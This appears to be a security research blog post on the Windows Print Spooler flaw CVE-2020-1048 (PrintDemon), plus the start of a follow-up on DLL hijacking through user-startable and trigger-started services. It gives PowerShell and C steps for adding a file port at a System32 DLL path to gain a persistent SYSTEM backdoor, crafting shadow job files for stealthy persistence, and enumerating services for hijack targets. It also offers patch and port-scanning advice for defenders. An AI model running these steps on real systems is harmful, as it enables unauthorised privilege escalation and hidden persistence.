PrintDemon: Print Spooler Privilege Escalation, Persistence & Stealth (CVE-2020-1048 & more)

We promised you there would be a Part 1 to FaxHell, and with today’s Patch Tuesday and CVE-2020-1048, we can finally talk about some of the very exciting technical details of the Windows Print Spooler, and interesting ways it can be used to elevate privileges, bypass EDR rules, gain persistence, and more. Ironically, the Print Spooler continues to be one of the oldest Windows components that still hasn’t gotten much scrutiny, even though it’s largely unchanged since Windows NT 4, and was even famously abused by Stuxnet (using some similar APIs we’ll be looking at!). It’s extra ironic that an underground ‘zine first looked at the Print Spooler, which was never found by Microsoft, and that’s what the team behind Stuxnet ended up using!

First, we’d like to shout out to Peleg Hadar and Tomer Bar from SafeBreach Labs who earned the MSRC acknowledgment for one of the CVEs we’ll describe — there are a few others that both the team and ourselves have found, which may be patched in future releases, so there’s definitely still some dragons hiding. We understand that Peleg and Tomer will be presenting their research at Blackhat USA 2020, which should be an exciting addition to this post.

Secondly, Alex would like to apologize for the naming/branding of a CVE — we did not originally anticipate a patch for this issue to have collided with other research, and we thought that since the Spooler is a service, or a daemon in Unix terms, and given the existence of FaxHell, the name PrintDemon would be appropriate.

Printers, Drivers, Ports, & Jobs

While we typically like to go into the deep, gory, guts of Windows components (it’s an internals blog, after all!), we felt it would be worth keeping things simple, just to emphasize the criticality of these issues in terms of how easy they are to abuse/exploit — while also obviously providing valuable tips for defenders in terms of protecting themselves.

So, to begin with, let’s look at a very simple description of how the printing process works, extremely dumbed down. We won’t talk about monitors or providors (sp) or processors, but rather just the basic printing pipeline.

To begin with, a printer must be associated with a minimum of two elements:

  • A printer port — you’d normally think of this as LPT1 back in the day, or a USB port today, or even a TCP/IP port (and address)
    • Some of you probably know that it can also “FILE:” which means the printer can print to a file (PORTPROMPT: on Windows 8 and above)
  • A printer driver — this used to be a kernel-mode component, but with the new “V4” model, this is all done in user mode for more than a decade now

Because the Spooler service, implemented in Spoolsv.exe, runs with SYSTEM privileges, and is network accessible, these two elements have drawn people to perform all sorts of interesting attacks, such as trying to

  • Printing to a file in a privilege location, hoping Spooler will do that
  • Loading a “printer driver” that’s actually malicious
  • Dropping files remotely using Spooler RPC APIs
  • Injecting “printer drivers” from remote systems
  • Abusing file parsing bugs in EMF/XPS spooler files to gain code execution

Most of which have resulted in actual bugs found, and some hardening done by Microsoft. That being said, there remain a number of logical issues, that one could call downright design flaws which lead to some interesting behavior.

Back to our topic: to make things work, we must first load a printer driver. You’d naturally expect that this requires privileges, and some MSDN pages still suggest the SeLoadDriverPrivilege is required. However, starting in Vista, to make things easier for Standard User accounts, and due to the fact these now run in user-mode, the reality is more complicated. As long as the driver is a pre-existing, inbox driver, no privileges are needed — whatsoever — to install a print driver.

So let’s install the simplest driver there is: the Generic / Text-Only driver. Open up a PowerShell window (as a standard user, if you’d like), and write:

> Add-PrinterDriver -Name "Generic / Text Only"

Now you can enumerate the installed drivers:

> Get-PrinterDriver

Name                                PrinterEnvironment MajorVersion    Manufacturer
----                                ------------------ ------------    ------------
Microsoft XPS Document Writer v4    Windows x64        4               Microsoft
Microsoft Print To PDF              Windows x64        4               Microsoft
Microsoft Shared Fax Driver         Windows x64        3               Microsoft
Generic / Text Only                 Windows x64        3               Generic

If you’d like to do this in plain old C, it couldn’t be easier:

hr = InstallPrinterDriverFromPackage(NULL, NULL, L"Generic / Text Only", NULL, 0);

Our next required step is to have a port that we can associate with our new printer. Here’s an interesting, not well documented twist, however: a port can be a file — and that’s not the same thing as “printing to a file”. It’s a file port, which is an entirely different concept. And adding one is just as easy as yet another line of PowerShell (we used a world writeable directory as our example):

> Add-PrinterPort -Name "C:\windows\tracing\myport.txt"

Let’s see the fruits of our labour:

> Get-PrinterPort | ft Name


To do this in C, you have two choices. First, you can prompt the user to input the port name, by using the AddPortW API. You don’t actually need to have your own GUI — you can pass NULL as the hWnd parameter — but you also have no control and will block until the user creates the port. The UI will look like this:

Another choice is to manually replicate what the dialog does, which is to use the XcvData API. Adding a port is as easy as:

PWCHAR g_PortName = L"c:\\windows\\tracing\\myport.txt";
dwNeeded = ((DWORD)wcslen(g_PortName) + 1) * sizeof(WCHAR);

The more complicated part is getting that hMonitor — which requires a bit of arcane knowledge:

PRINTER_DEFAULTS printerDefaults;
printerDefaults.pDatatype = NULL;
printerDefaults.pDevMode = NULL;
printerDefaults.DesiredAccess = SERVER_ACCESS_ADMINISTER;
OpenPrinter(L",XcvMonitor Local Port", &hMonitor, &printerDefaults);

You might see ADMINISTER in there and go a-ha — that needs Adminstrator privileges. But in fact, it does not: anyone can add a port. What you’ll note though, is that passing in a path you don’t have access to will result in an “Access Denied” error. More on this later.

Don’t forget to be a good citizen and call ClosePrinter(hMonitor) when you’re done!

We have a port, we have a printer driver. That is all we need to create a printer and bind it to these two elements. And again, this does not require a privileged user, and is yet another single line of PowerShell:

> Add-Printer -Name "PrintDemon" -DriverName "Generic / Text Only" -PortName "c:\windows\tracing\myport.txt"

Which you can now check with:

> Get-Printer | ft Name, DriverName, PortName

Name DriverName PortName
---- ---------- --------
PrintDemon Generic / Text Only C:\windows\tracing\myport.txt

The C code is equally simple:

PRINTER_INFO_2 printerInfo = { 0 };
printerInfo.pPortName = L"c:\\windows\\tracing\\myport.txt";
printerInfo.pDriverName = L"Generic / Text Only";
printerInfo.pPrinterName = L"PrintDemon";
printerInfo.pPrintProcessor = L"WinPrint";
printerInfo.pDatatype = L"RAW";
hPrinter = AddPrinter(NULL, 2, (LPBYTE)&printerInfo);

Now you have a printer handle, and we can see what this is good for. Alternatively, you can use OpenPrinter once you know the printer exists, which only needs the printer name.

What can we do next? Well the last step is to actually print something. PowerShell delivers another simple command to do this:

> "Hello, Printer!" | Out-Printer -Name "PrintDemon"

If you take a look at the file contents, however, you’ll notice something “odd”:

0D 0A 0A 0A 0A 0A 0A 20 20 20 20 20 20 20 20 20
20 48 65 6C 6C 6F 2C 20 50 72 69 6E 74 65 72 21
0D 0A …

Opening this in Notepad might give you a better visual indication of what’s going on — PowerShell thinks this is an actual printer. So it’s respecting the margins of the Letter (or A4) format, adding a few new lines for the top margin, and then spacing out your string for the left margin. Cute.

Bear in mind, this is behavior that in C, you can configure — but typically Win32 applications will print this way, since they think this is a real printer.

Speaking about C, how can you achieve the same effect? Well, here, we actually have two choices — but we’ll cover the simpler and more commonly taken approach, which is to use the GDI API, which will internally create a print job to handle our payload.

DOC_INFO_1 docInfo;
docInfo.pDatatype = L"RAW";
docInfo.pOutputFile = NULL;
docInfo.pDocName = L"Document";
StartDocPrinter(hPrinter, 1, (LPBYTE)&docInfo);

PCHAR printerData = "Hello, printer!\n";
dwNeeded = (DWORD)strlen(printerData);
WritePrinter(hPrinter, printerData, dwNeeded, &dwNeeded);


And, voila, the file contents now simply store our string.

To conclude this overview, we’ve seen how with a simple set of unprivileged PowerShell commands, or equivalent lines of C, we can essentially write data on the file system by pretending it’s a printer. Let’s take a look at what happens behind the scenes in Process Monitor.

Spooling as Evasion

Let’s take a look at all of the operations that occurred when we ran these commands. We’ll skip the driver “installation” as that’s just a mess of PnP and Windows Servicing Stack, and begin with adding the port:

Here we have our first EDR / DFIR evidence trail : it turns out that printer ports are nothing more than registry values under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Ports. Obviously, only privileged users can write to this registry key, but the Spooler service does it for us over RPC, as you can see in the stack trace below:

Next, let’s see how the printer creation looks like:

Again, we see that the operations are mostly registry based. Here’s how a printer looks like — note the Port value, for example, which is showing our file path.

Now let’s look at what that PowerShell command did when printing out our document. Here’s a full view of the relevant file system activity (the registry is no longer really involved), with some interesting parts marked out:

Whoa — what’s going on here? First, let’s go a bit deeper in the world of printing. As long as spooling is enabled, data printed doesn’t directly go to the printer. Instead, the job is spooled, which essentially will result in the creation of a spool file. By default, this will live in the c:\windows\system32\spool\PRINTERS directory, but that is actually customizable on a per-system as well as per-printer basis (that’s a thread worth digging into later).

Again, also by default, this file name will either be FPnnnnn.SPL for EMF print operations, or simply nnnnn.SPL for RAW print operations. The SPL file is nothing more than a copy, essentially, of all the data that is meant to go the printer. In other words, it briefly contained the “Hello, printer!” string.

A more interesting file is the shadow job file. This file is needed because print jobs aren’t necessarily instant. They can error out, be scheduled, be paused, either manually or due to issues with the printer. During this time, information about the job itself must remain in more than just Spoolsv.exe’s memory, especially since it is often prone to crashing due to 3rd party printer driver bugs — and due to the fact that print jobs survive reboots. Below, you can see the Spooler writing out this file, whose data structure has changed over the years, but has now reached the SHADOWFILE_4 data structure that is documented on our GitHub repository.

We’ll talk about some interesting things you can do with the shadow job file later in the persistence section.

Next, we have the actual creation of the file that is serving as our port. Unfortunately, Process Monitor always shows the primary token, so if you double-click on the event, you’ll see this operation is actually done under impersonation:

This is may actually seem like a key security feature of the Spooler service — without it, you could create a printer port to any privileged location on the disk, and have the Spooler “print” to it, essentially achieving an arbitrary file system read/write primitive. However, as we’ll describe later, the situation is a bit more complicated. It may also seem like from an EDR perspective, you still have some idea as to who the user is. But, stay tuned.

Finally, once the write is done, both the spool file and the shadow job file are deleted (by default), which is seen as those SetDisposition calls:

So far, what we’ve shown is that we can write anywhere on disk — presumably to locations that we have access to — under the guise of the Spooler service. Additionally, we’ve shown that the file creation is done under impersonation, which should reveal the original user behind the operation. Investigating the job itself will also show the user name and machine name. So far, forensically, it seems like as long as this information can be gathered, it’s hard to hide…

We will break both of those assumptions soon, but first, let’s take a look at an interesting way that this behavior can be used.

Spooling as IPC

The first interesting use of the Spooler, and most benign, is to leverage it for communication between processes, across users, and even across reboots (and potentially networks). You can essentially treat a printer as a securable object (technically, a printer job is too, but that’s not officially exposed) and issue both read and write operations in it, through two mechanisms:

  • Using the GDI API, and issuing ReadPrinter and WritePrinter commands.
    • First, you must have issued a StartDocPrinter and EndDocPrinter pair of calls (in between the write) to create the printer job and spool data in it.
    • The trick is to use SetJob to make the job enter a paused state from the beginning (JOB_CONTROL_PAUSE), so the spool file remains persistent
    • The former API will return a print job ID, that the client side can then use as part of a call to OpenPrinter with the special syntax of adding the suffix ,Job n to the printer name, which opens a print job instead of a printer.
      • Clients can use the EnumJobs API to enumerate all the printer jobs and find the one they want to read from based on some properties.
  • Using the raw print job API, and using WriteFile after obtaining a handle to the spool file.
    • Once the writes are complete, call ScheduleJob to officially make it visible.
    • Client continues to use ReadPrinter like in the other option

You might wonder what advantages any of this has versus just using regular File I/O. We’ve thought of a few:

  • If going with the full GDI approach, you’re not importing any obvious I/O APIs
  • The read and writes, when done by ReadPrinter and WritePrinter are not done impersonated. This means that they appear as if coming from SYSTEM running inside Spoolsv.exe
    • This also potentially means you can read and write from a spooler file in a location where you’d normally not have access to.
  • It’s doubtful any security products, until just about now, have ever investigated or looked at spooler files
    • And, with the right API/registry changes, you can actually move the spooler directory somewhere else for your printer
  • By cancelling the job, you get immediate deletion of the data, again, from a service context
  • By resuming the job, you essentially achieve a file copy — albeit this one does happen impersonated, as we’ve learnt so far

We’ve published on our GitHub repository a simple printclient and printserver application, which implement client/server mechanism for communicating between two processes by leveraging these ideas.

Let’s see what happens when we run the server:

As expected, we now have a spool file created, and we can see the print queue below showing our job — which is highly visible and traceable, if you know to look.

On the client side, let’s run the binary and look at the result:

The information you see at the top comes from the printer API — using EnumJob and GetJob to retrieve the information that we want. Additionally, however, we went a step deeper, as we wanted to look at the information stored in the shadow job itself. We noted some interesting discrepancies:

  • Even though MSDN claims otherwise, and the API will always return NULL, print jobs to indeed have security descriptors
    • Trying to zero them out in the shadow job made the Spooler unable to ever resume/write the data!
  • Some data is represented differently
    • For example, the Status field in the shadow job has different semantics, and contains internal statuses that are not exposed through the API
    • Or, the StartTime and UntilTime, which are 0 in the API, are actually 60 in the shadow job

We wanted to better understand how and when the shadow job data is read, and when is internal state in the Spooler used instead — just like the Service Control Manager both has its own in-memory database of services, but also backs it all up in the registry, we thought the Spooler must work in a similar way.

Spooler Forensics

Eventually, thanks to the fact that the Spooler is written in C++ (which has rich type information due to mangled function names) we understood that the Spooler keeps track of jobs in INIJOB data structures.

We started looking at the various data structures involved in keeping track of Spooler information, and came up with the following data structures, each of which has a human-readable signature which makes reverse engineering easier:

For full disclosure, it seems GitHub continues to host NT4 source code for the world to look at, and when searching for some of these types, the Spltypes.h header file repeatedly came up. We used it as an initial starting point, and then manually updated the structures based on reverse engineering.

To start with, you’ll want to find the pLocalIniSpooler pointer in Localspl.dll — this contains a pointer to INISPOOLER, which is partially shown below:

Here it is in memory:

As you can see, this key data structure points to the first INIPRINTER, the INIMONITOR, the INIENVIRONMENT, the INIPORT, the INIFORM, and the SPOOL. From here, we could start by dumping the printer, which starts with the following data structure:

In memory, for the printer the printserver PoC on GitHub creates, you’d see:

You could also choose to look at the INIPORT structures linked by the INISPOOLER earlier — or directly grab the one associated with the INIPRINTER above. Each one looks like this:

Once again, the port we created in the PoC looks like this in memory, at the time that the job is being spooled:

Finally, both the INIPORT and the INIPRINTER were pointing to the INIJOB that we created. The structure looks as such:

This should be very familiar, as it’s a different representation of much of the same data from the shadow job file as well as what EnumJob and GetJob will return. For our job, this is what it looked like in memory:

Locating and enumerating these structures gives you a good forensic overview of what the Spooler has been up to — as long as Spoolsv.exe is still running and nobody has tampered with it.

Unfortunately, as we’re about to show, that’s not something you can really depend on.

Spooling as Persistence

Since we know that the Spooler is able to print jobs even across reboots (as well as when the service exits for any reason), it stands to reason that there’s some logic present to absorb the shadow job file data and create INIJOB structures out of it.

Looking in IDA, we found he following aptly named function and associated loop, which is called during the initialization of the Local Spooler:

Essentially, this processes any shadow job file data associated with the Spooler itself (server jobs, as they’re called), and then proceeds to enumerate every INIPRINTER, get its spooler directory (typically, the default), and process its respective shadow job file data.

This is performed by ProcessShadowJobs, which mainly executes the following loop:

It’s not visible here, but the *.SHD wildcard is used as part of the FindFirstFile API, so each file matching this extension is sent to ReadShadowJob. This breaks one of our assumptions: there’s no requirement for these files to follow the naming convention we described earlier. Combining with the fact that a printer can have its own spooler directory, it means these files can be anywhere.

Looking at ReadShadowJob, it seemed that only basic validation was done of the information present in the header, and many fields were, in fact, totally optional. We constructed, by hand with a hex editor, a custom shadow job file that only had the bare minimum to associate it to a printer, and restarted the Spooler, taking a look at what we’d see in Process Monitor. We also created a matching .SPL file with the same name, where we wrote a simple string.

First, we noted the Spooler scanning for FPnnnnn SPL files, which are normally associated with EMF jobs (the FP stands for File Pool). Then, it searched for SHD files, found ours, opened the matching SPL file, and continued looking for more files. None were present, so NO MORE FILES was returned.

So, interestingly, you’ll notice how in the stack below, the DeleteOrphanFiles API is called to cleanup FP files:

But the opposite effect happens for SHD files after — the following stack shows you ProcessShadowJobs calling ReadShadowJob, as the IDA output above hypothesized.

What was the final effect of our custom placed SHD file, you ask? Well, take a look at the print queue for the printer that we created…

It’s not looking great, is it? Double-clicking on the job gives us the following, equally useless information.

Given that this job seems outright corrupt, and indicates 0 bytes of data, you’d probably expect that resuming this job will abort the operation or crash in some way. So did we! Here’s what actually happens:

The whole thing works just fine and goes off and writes the entire spool file into our printer port, actual size in the SHADOWFILE_4 be damned. What’s even crazier is that if you manually try calling ReadPrinter yourself, you won’t see any data come in, because the RPC API actually checks for this value — even though the PortThread does not!

What we’ve shown so far, is that with very subtle file system modifications, you can achieve file copy/write behavior that is not attributable to any process, especially after a reboot, unless some EDR/DFIR software somehow knew to monitor the creation of the SHD file and understood its importance. With a carefully crafted port name, you can imagine simply having the Spooler drop a PE file anywhere on disk for you (assuming you have access to the location).

But things were about to take whole different turn in our research, when we asked ourselves the question — “wait, after a reboot, how does the Spooler even manage to impersonate the original user — especially if the data in the SHD file can be NULL‘ed out?”.

Self Impersonation Privilege Escalation (SIPE)

Since Process Monitor can show impersonation tokens, we double-clicked on the CreateFile event, just as we had done at the beginning of this blog. We saw that indeed, the PortThread was impersonating… but… but…

The Spooler is impersonating… SYSTEM! It seems the code was never written to handle a situation that would arise where a user might have logged out, or rebooted, or simply the Spooler crashing, and now we can write anywhere SYSTEM can. Indeed, looking at the NT4 source code, the PrintDocumentThruPrintProcessor function just zooms through and writes into the port.

However, we’re not ones to trust 30 year old code on GitHub, so we stuck with our trusty IDA, and indeed saw the following code, which was added sometime around the Stuxnet era:

And, indeed, CanUserAccessTargetFile immediately checks if hToken is NULL, and if so, returns FALSE and sets the LastError to ERROR_ACCESS_DENIED.

Boom! Game Over! The code is safe, we checked it! Believe it or not, we’ve previously gotten this type of response to security reports (not lately!).

Clearly, something is amiss, since we saw our write go through “impersonating” SYSTEM.

This is where a very deep subtlety arises. Pay attention to this code in CreateJobEntry, which is what ultimately initializes an INIJOB, and, if needed, sets JOB_PRINT_TO_FILE.

print job is considered to be headed to a file only if the user selected the “Print to file” checkbox you see in the typical print dialog. A port, on the other hand, that’s a literal file, completely skips this check.

Well, OK then — let’s stop with this C:\Windows\Tracing\ lameness, and create a port in C:\Windows\System32\Ualapi.dll. Why this DLL? Well, you’ll see you saw in Part Two!

Hmmm, that’s not so easy:

We are caught in the act, as you can see from the following Process Monitor output:

The following stack shows how XcvData is called (an API you saw earlier) with the PortIsValid command. While you can’t see it here (it’s on the “Event” tab), the Spooler is impersonating the user at this point, and the user certainly doesn’t have write access to c:\Windows\System32!

As such, it would seem that while it’s certainly interesting that we can get the Spooler to write files to disk after a reboot / service start, without impersonation, it’s unclear how this can be useful, since a port pointing to a privileged directory must first be created. As an Administrator, it’s a great evasion and persistence trick, but you might think this is where the game stops.

While messing around with ways to abuse this behavior (and we found a few!), we also stumbled into something way, way, way, way… way simpler than the advanced techniques we were coming up with. And, it would seem, so did the folks at SafeBreach Labs, which beat us to the punch (gratz!) with CVE-2020-1048, which we’ll cover below.

Client Side Port Check Vulnerability (CVE-2020-1048)

This bug is so simple that it’s almost embarrassing once you realize all it would’ve taken is a PowerShell command.

If you scroll back up to where we showed the registry access in Spoolsv.exe as a result of Add-PrinterPort, you see a familiar XcvData stack — but going straight to XcvAddPort / DoAddPort — and not DoPortIsValid. Initially, we assumed that the registry access was being done after the file access (which we had masked out in Process Monitor), and that port validation had already occurred. But, when we enabled file system events… we never saw the CreateFile.

Using the UI, on the other hand, first showed us this stack and file system access, and then went ahead and added the port.

Yes, it was that simple. The UI dialog has a client-side check… the server, does not. And PowerShell’s WMI Print Provider Module… does not.

This isn’t because PowerShell/WMI has some special access. The code in our PoC, which uses XcvData with the AddPort command, directly gets the Spooler to add a port with zero checking.

Normally, this isn’t a big deal, because all subsequent print job operations will have the user’s token captured, and the file accesses will fail.

But not… if you reboot, or kill the Spooler in some way. While that’s not necessarily obvious for an unprivileged user, it’s not hard — especially given the complexity and age of the Spooler (and its many 3rd party drivers).

So yes, walk to any unpatched system out there — you all have Windows 7 ESUs, right? — and just write Add-PrinterPort -Name c:\windows\system32\ualapi.dllin a PowerShell window. Congratulations! You’ve just given yourself a persistent backdoor on the system. Now you just need to “print” an MZ file to a printer that you’ll install using the systems above, and you’re set.

If the system is patched, however, this won’t work. Microsoft fixed the vulnerability by now moving the PortIsValid check inside of LcmXcvDataPort. That being said, however, if a malicious port was already created, a user can still “print” to it. This is because of the behavior we explained above — the checks in CanUserAccessTargetFile do not apply to “ports pointing to files” — only when “printing to a file”.

Conclusion — Call to Action!

This bug is probably one of our favorites in Windows history, or at least one of our Top 5, due to its simplicity and age — completely broken in original versions of Windows, hardened after Stuxnet… yet still broken. When we submitted some additional related bugs (due to responsible disclosure, we don’t want to hint where these might be), we thought the underlying impersonation behavior would also be addressed, but it seems that this is meant to be by design.

Since the fix for PortIsValid does make the impersonation behavior moot for newly patched systems, but leaves them vulnerable to pre-existing ports, we really wanted to get this blog out there to warn the industry for this potentially latent threat, now that a patch is out and attackers would’ve quickly figured out the issue (load Localspl.dll in Diaphora — the two line call to PortIsValid jumps out at you as the only change in the binary).

There are two steps you should immediately take:

  1. Patch! This bug is ridiculously easy to exploit, both as an interactive user and from limited remote-local contexts as well.
  2. Scan for any file-based ports with either Get-PrinterPorts in PowerShell, or just dump HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Ports. Any ports that have a file path in them — especially ending in an extension such as .DLL or .EXE should be treated with extreme prejudice.

Faxing Your Way to SYSTEM — Part Two

“Part two?”, you ask. “Where’s part one?”, you wonder. In this blog post, we are doing things backwards — first publishing a Part Two, with a theoretical “What if?” scenario, and then we’ll follow with a Part One to fill in our gap.

Posit a DLL Hijack

Let’s say you have a way to dump a custom DLL in a privileged directory. You can name the DLL whatever you want and make a privileged process load it instead of one of its own, as part of a privilege escalation attack. This is most useful when there is a process looking for a DLL that is not usually found in the system, so you don’t have to implement all the functionality of the DLL you’re replacing and/or potentially have to deal with the DLL already being in use . This technique goes under a variety of names such as DLL hijacking and binary planting, and it’s a method that has been known and used for many years. It can also be used a persistence mechanism, when the goal is to load every system start.

Unfortunately, there’s not a whole lot of real world public information on actually implementing the technique end-to-end, especially for privilege escalation, without relying on gimmicks. To successfully execute your code, you need:

  • A built-in, Windows native, privileged process that tries loading a non-existent DLL from a privileged directory (if it’s from an unprivileged directory, you have an even bigger problem)
  • A way to reliably start the privileged process, from an unprivileged context
    • Online sources resort to gimmicks such as “run these commands in a loop and after 20 tries you’ll get Xxx.exe” or “and now reboot the machine!”

This really doesn’t sound hard, but we could not find anything online that accurately fulfilled these two requirements. So, while in this post, we’re not claiming anything novel, we will combine some obscure Windows Internals together to weaponize a bind shell (see? we told you it wasn’t novel — it’s not even a reverse shell) with some neat EDR bypasses and forensic gotchas, in order to get some offensive capabilities out in the open and into defenders’ mindsets. You’ll see (and might learn) how to:

  • Identify services that can be started by non-privileged users, so that you can repeat this research and potentially find your own service
  • Talk about trigger started services, and provide another way to launch services from a non-privileged user account
  • Use a previously unused service which is vulnerable to a DLL hijack, which reduces chance of detection, and introduces a reliable escalation vector
  • Leverage the Windows Thread Pool API for additional stealth, leveraging arbitrary threads and harder-to-infer malicious behavior, often whitelisted by EDR
  • Use some more esoteric, high-performance Windows Socket APIs, which results in less standard imports (no socket, accept, recv, or send) and simpler code
  • Abuse the Windows Socket API to hide and misdirect the owner process from Netstat, Process Hacker, Process Monitor, and even WFP (Windows Filtering Platform) and BFE (Base Filtering Engine)-based firewall solutions.
  • Escalate privileges from NETWORK SERVICE to SYSTEM, without any “bean” or “potato”-based DCOM/HTTP attacks
  • Launch a process as SYSTEM in a non-traditional way using process reparenting
  • Awesome DLL hijacking in Windows Defender ATP and Windows 21H1 (“Manganese”), for the lulz

We will be heavily relying on existing research from other people here, so we want to make sure there is no implied claim that these are hyped-up “never before seen” techniques. We just packaged them up nicely with a bow.

Surveying the Landscape

If you search online, you’ll find four commonly used built-in services (even more 3rd party) on Windows that are vulnerable to a DLL hijack:

  1. Wmiprvse.exe, which likes to load loads of things from c:\windows\system32\wbem\, especially Wbemcomn.dll
    1. But it often impersonates the caller when you run WMI commands yourself, so now you need to get a privileged process to issue a WMI command to spawn a WMI Provider
    2. We could not find reliable sources online on how to operationally achieve this 100% of the time
    3. This is a well-known service and target DLL, often abused by malware, and in almost everyone’s PoCs
  2. Ikeext.dll (running in a Svchost.exe) which loads Wlcsctrl.dll from c:\windows\system32\
    1. This is already running in corporate environments with a VPN — online sources assume you can just sc stop it , but that privilege is only granted to Administrators.
    2. If it’s not already running, you cannot just sc start it. The common technique is to use Rasdial.exe to trigger it to start.
    3. Extremely well-known, abused in the wild, a dozen blog posts on the topic
  3. Sessenv.dll (running in a Svchost.exe) which loads Tsmsisrv.dll from c:\windows\system32\
    1. This one has the advantage of not typically running unless you’ve hit an RDP machine
    2. But it does not grant Start/Stop privileges to unprivileged users and does not have an obvious trigger to start it
    3. Well known and has been abused in the wild for persistence
  4. Searchprotocolhost.exe and Searchindexer.exe will load Msfte.dll from c:\windows\system32\
    1. Cannot be directly started by a non-privileged user, but can often be “triggered” by noisy file-system activity
    2. Well known and catalogued, and also used in the wild by APT groups

In all of these scenarios, Administrator access was already assumed (i.e.: these were mechanisms for persistence, not privilege escalation), or there were unreliable ways to “maybe” trigger the service to start. Additionally, these techniques were known and probably detected by major AV and EDR vendors. We wanted something a little bit more interesting.

Finding the Target — User Startable Services

First, our interest was to identify services that are vulnerable to DLL hijacking attempts other than the afore-mentioned ones. Figuring this out is old & tired infosec practice — run Process Monitor with the right filters, start a bunch of services (or reboot the box), profit! Countless tutorials online can help you learn how to do this. We applied some different twists, however, which are worth going into. First, remember that a reboot is unacceptable in our use case — we want to elevate privileges now. So we had to rely on starting services that weren’t already started — or finding a service that can be stopped by a standard user. Second, many online tutorials will have you only looking at SYSTEM processes. While that is the jackpot, many services run as LOCAL SERVICE and NETWORK SERVICE — two accounts that while not “privileged” from an Administrator Group perspective, can easily elevate to SYSTEM using a few different tactics.

Finally, starting a service typically requires administrative permissions, which defeats our purpose (and so does stopping a service in case it’s already running). We needed to find exceptions to this rule. There are two great tools for looking into service permissions. One is Process Hacker, which allows you, from its Services tab, to double click on a service, and then click the Permissions button on the General tab. For example, here are the permissions for the SessionEnv service:

Well, already, we see that there’s no “Everyone“, “Users” or “Authenticated Users“, which are common groups that include unprivileged users. But there is INTERACTIVE“, a less commonly seen group that also includes unprivileged users. Now we can double-click on the ACE and see the following:

So that’s not great — all we can really do is query the service and talk to it through SCM control codes.

While nice and graphical, this technique takes time — going down 200 services and clicking a bunch of boxes. So while Process Hacker is great to check one-off services, we wanted a tool to automate this. Enter the venerable Systems Internals Suite, with the AccessChk tool. The following command-line is a great way to get a one-line view of all service permissions:

accesschk.exe -c * -L > servsddl.txt

And you’ll have output like this:





Reading SDDL strings can be a bit challenging, but what we’re looking for specifically is the “RP” right, which maps to SERVICE_START. And we’d like to see that next to either “IU“, which is the “INTERACTIVE” group, or “BU” for the “Users” group, or “AU“, which is the “Authenticated Users” group, or even better, “WD“, which is the “Everyone” group. You might even get lucky and find “AC“, which is the “ALL_APPLICATION_PACKAGES” group.

Once you find an interesting-looking service, say, “DsSvc“, you can replace the command-line command with a lower case l instead:

\sysint\accesschk.exe -c DsSvc -l

So this certainly sounds and seems like an interesting service! The next step is to then run it through the usual suspect — Process Monitor — and try to see any  “NAME NOT FOUND” errors while looking for DLLs. You need to be a little careful here, as this is something a lot of blog posts don’t talk about: you might find “red herrings”. For example, Windows Defender does lookup a lot of DLL paths, as part of its sandbox/heuristics, but these aren’t actual LoadLibrary calls. We’ve also seen services loading Mfc42.dll, which looked promising, but a deeper analysis of the call stack showed the LoadLibraryAsDataFile function, which doesn’t actually execute code or call any entrypoints/exports.

Since DsSvc wasn’t fruitful, we moved on (our search query was to look for “RP;;WD“, just to go for the most egregious cases, but there are certainly other candidates too). Next up in our results was:

\sysint\accesschk.exe -c fax -l

We didn’t know it yet, but we were about to hit a jackpot.

For completeness’ sake, the only other 3 built-in Windows services which allow “Everyone” to launch them are icssvc, PhoneSvc, and TabletInputService. There are more that allow INTERACTIVE, Authenticated Users, and Users, however.

User Startable Services — Round Two

Before going deep into the Fax Service, it’s worth talking about another way that a service can be started, regardless of the permissions associated with it. In Windows Vista, Microsoft introduced the Unified Background Process Manager (UBPM), which mimics the functionality of systemd on Linux systems or launchd on macOS — it supports a variety of “triggers”, which can be associated with system events such as PnP Device Arrival Notifications, RPC Endpoint Lookups, WNF State Notifications, Socket Connections, or even ETW Events.

The Service Control Manager (SCM) was then updated to allow services to be started based on a trigger, and you can use Process Hacker for a nice GUI view of the triggers that a service has. Here are the ones for TabletInputService:

Device Interface Arrival notifications aren’t great, since there’s no way to “fake” them from an unprivileged account (as far as we know). But let’s take a look at another example, the DsSvc service — and let’s actually showcase another tool that can dump trigger information: the Sc.exe built-in utility itself:

sc qtriggerinfo DsSvc
[SC] QueryServiceConfig2 SUCCESS
        NETWORK EVENT                : bc90d167-9470-4139-a9ba-be0bbbf5b74d [RPC INTERFACE EVENT]
          DATA                       : BF4DC912-E52F-4904-8EBE-9317C1BDD497

What does this tell us? First, the first GUID, labelled as RPC INTERFACE EVENT has this to say on MSDN:
“The event is triggered when an endpoint resolution request arrives for the RPC interface GUID specified by pDataItems.”
Well, since any user account is permitted to resolve an RPC endpoint, then talking to the RPC endpoint mapper to resolve this GUID will launch the service — even if we don’t ultimately have permissions to connect to it. Here’s the service currently lying dormant:

sc query dssvc
    TYPE               : 30  WIN32
    STATE              : 1  STOPPED

And here’s us trying to ping the Interface ID that was specified:

rpcping -t ncalrpc -f BF4DC912-E52F-4904-8EBE-9317C1BDD497 -v 2

RPCPing v6.0. Copyright (C) Microsoft Corporation, 2002-2006
Trying to resolve interface BF4DC912-E52F-4904-8EBE9317C1BDD497, Version: 1.0
Completed 1 calls in 1 ms
1000 T/S or   1.000 ms/T

We can see that the interface replied back to our ping! Let’s take a look at the service now:

sc query dssvc
    TYPE               : 30  WIN32
    STATE              : 4  RUNNING

Another type of accessible trigger is the ETW Trigger. Here’s an example service that uses it, the Windows Error Reporting Service:

sc qtriggerinfo WerSvc
[SC] QueryServiceConfig2 SUCCESS
            CUSTOM     : e46eead8-0c54-4489-9898-8fa79d059e0e [ETW PROVIDER UUID]

All it takes is a simple call to EventWrite with the correct ETW GUID, and the service will start. You can do this in C, or even in PowerShell. We modified the linked PS script to use the GUID below instead of the provided one:

new Guid(0xe46eead8, 0x0c54, 0x4489, 0x98, 0x98, 0x8f, 0xa7, 0x9d, 0x05, 0x9e, 0x0e);

And, sure enough, after launching the script:

sc query WerSvc
    TYPE               : 10  WIN32_OWN_PROCESS
    STATE              : 4  RUNNING
                            (STOPPABLE, PAUSABLE, IGNORES_SHUTDOWN)

There’s a few other interesting triggers too — and Microsoft documents the official ones here. For example, you’ll see that the IKEEXT service is spawned by Rasdial.exe due to a trigger on UDP port 500 (which you could fake in other ways than launching Rasdial.exe).

Abusing Fax

Going back to Process Monitor, when we ran the fax service, we noticed this: 

